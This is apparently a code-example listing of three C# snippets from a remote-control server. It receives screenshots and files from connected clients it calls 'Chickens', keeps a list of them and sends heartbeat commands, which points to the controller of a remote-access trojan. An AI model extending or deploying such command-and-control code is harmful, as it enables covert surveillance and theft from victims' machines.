Example #1
0
 public void LoadClient(ClientBean cb, SSprotocolServer server, String title)
 {
     txtResult.Clear();
     this.cb     = cb;
     this.server = server;
     this.Text   = title;
 }
Example #2
0
        private void OnRecv(ClientBean client, byte[] recvbuff)
        {
            string str = Encoding.Default.GetString(recvbuff);

            Debug.WriteLine(str);
            if (str.StartsWith("File", StringComparison.OrdinalIgnoreCase))
            {
                int    msgPos   = 20;
                string fileName = Encoding.Default.GetString(recvbuff, msgPos, 255).TrimEnd('\0');
                msgPos += 255;

                Debug.WriteLine(fileName);
                int fileOffset = BitConverter.ToInt32(recvbuff, msgPos);
                msgPos += sizeof(int);
                int fileCounts = BitConverter.ToInt32(recvbuff, msgPos);
                msgPos += sizeof(int);

                if (fileName.StartsWith("temp_screen_"))
                {
                    long     time = long.Parse(fileName.Substring(12));
                    DateTime dt   = new DateTime(1970, 1, 1, 8, 0, 0);  //UTC+8
                    dt       = dt.AddSeconds(time);
                    fileName = dt.ToString("yyyy-MM-dd HH.mm.ss") + ".bmp";
                }
                string filepath = @"D:\CtrlService_Recvs\" + fileName;

                FileStream file = new FileStream(filepath, fileOffset == 0 ? FileMode.Create : FileMode.Append);
                file.Write(recvbuff, msgPos, fileCounts);
                file.Close();
            }

            if (str.StartsWith("Chicken", StringComparison.OrdinalIgnoreCase))
            {
                listMutex.WaitOne();
                if (!Clients.Contains(client))
                {
                    Clients.Add(client);
                    LstChickens.Items.Add(client);
                }
                if (str.Length > "Chicken ".Length)
                {
                    LstChickens.Items[Clients.IndexOf(client)] = str.Substring("Chicken ".Length);
                }
                listMutex.ReleaseMutex();
                server.Send(client, BitConverter.GetBytes(SSprotocol.CMD_BEAT));
            }

            if (str.StartsWith("Result", StringComparison.OrdinalIgnoreCase))
            {
                ctrlForm.FeedBack(str);
            }
        }
Example #3
0
 private void OnDisconnect(ClientBean client)
 {
     listMutex.WaitOne();
     if (Clients.Contains(client))
     {
         if (ctrlForm.cb == client)
         {
             ctrlForm.Hide();
         }
         int index = Clients.IndexOf(client);
         LstChickens.Items.RemoveAt(index);
         Clients.RemoveAt(index);
     }
     listMutex.ReleaseMutex();
 }